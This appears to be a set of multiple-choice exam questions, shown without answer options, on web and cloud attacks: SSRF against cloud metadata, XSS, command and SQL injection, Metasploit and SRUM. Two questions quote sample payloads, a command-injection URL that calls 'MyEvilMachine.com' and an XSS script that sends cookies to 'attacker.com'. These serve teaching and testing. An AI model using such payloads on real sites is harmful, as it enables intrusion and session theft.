Which of the following is a defense against SSRF and IMDS attacks?

Which attacker framework requires a hook to be loaded on an XSS-vulnerable website and has modules that allow an attacker to use the victim's browser to scan ports or deliver exploits?

Which characteristic distinguishes watering hole attacks from drive-by attacks?

Drive-by and watering hole attacks use available exploits to target browser vulnerabilities or downloaded files that may be associated with a browser. How are downloaded files associated with a browser thereby allowing exploitation?

XSS is an attack against a user, exploiting a vulnerability where?

Which of the following defenses protects against XSS but not SQL injection attacks?

Which of the following files would an attacker retrieve through an SSRF attack on a Linux cloud target to get credentials?

Which of the following cloud providers requires special headers for IMDS that mitigate exploitation through SSRF?

When exploiting an SSRF vulnerability, what indicator can tip off an attacker to try other cloud-centric exploitation tactics against a server?

Which Metasploit module category makes the target do something the attacker wants?

An organization is concerned with drive-by attacks and has invested time and money to develop a strategic threat intelligence capability that monitors attack trends. In which phase of incident response does this occur?

An employee opens a malicious attachment that exploits an unpatched vulnerability. The Meterpreter payload launches and connects to TCP port 443 of an attacker-controlled IP address. The organization's firewall permits outbound connections to any IP address on TCP port 443. Which security device could still prevent the attacker from taking control of the system?

Using the following URL, what is the application vulnerable to if userData.pl responds with the output of nslookup?

http://AFineWebApp/cgi-bin/userData.pl?doc=user1.txt;nslookup MyEvilMachine.com

Which Python tool is capable of identifying and exploiting SQL injection flaws?

Drive-by and watering hole attacks can use Microsoft Office files to exploit a victim by supporting code execution. What file type below supports this type of code execution attack?

Which of the following attacks could have a significant impact on cloud targets as it could disclose instance metadata?

Which Meterpreter feature makes it difficult to detect communications?

An attacker uses the following URL. What are they attempting to do?

http://counterhack.net/search.php?word=<script>document.location='http://attacker.com/save.php?c='+document.cookie</script>

When performing live system analysis, SRUM-Dump extracts what items?

Which of the following common web attack techniques targets the supporting database of an application?

Which of the following attacks can be used to deliver an exploit to a user browsing the Internet through a seemingly innocuous website?

How often is the SRUM database updated?

Which of the following is an example of a command injection attack on a Linux application?

Which of the following can be an effective defense against SQL injection attacks?

Which Metasploit payload shovels a shell back to the attacker on a TCP port?

How many days of historical data are saved in the System Resource Usage Monitor database?

Which of the following is an important consideration when using Sqlmap?

Which of the following XSS attacks requires some social engineering effort in conjunction with exploitation of web server–side input processing weaknesses to complete?

Which of the following techniques can help mitigate command injection attacks in the short term while application vulnerabilities are resolved?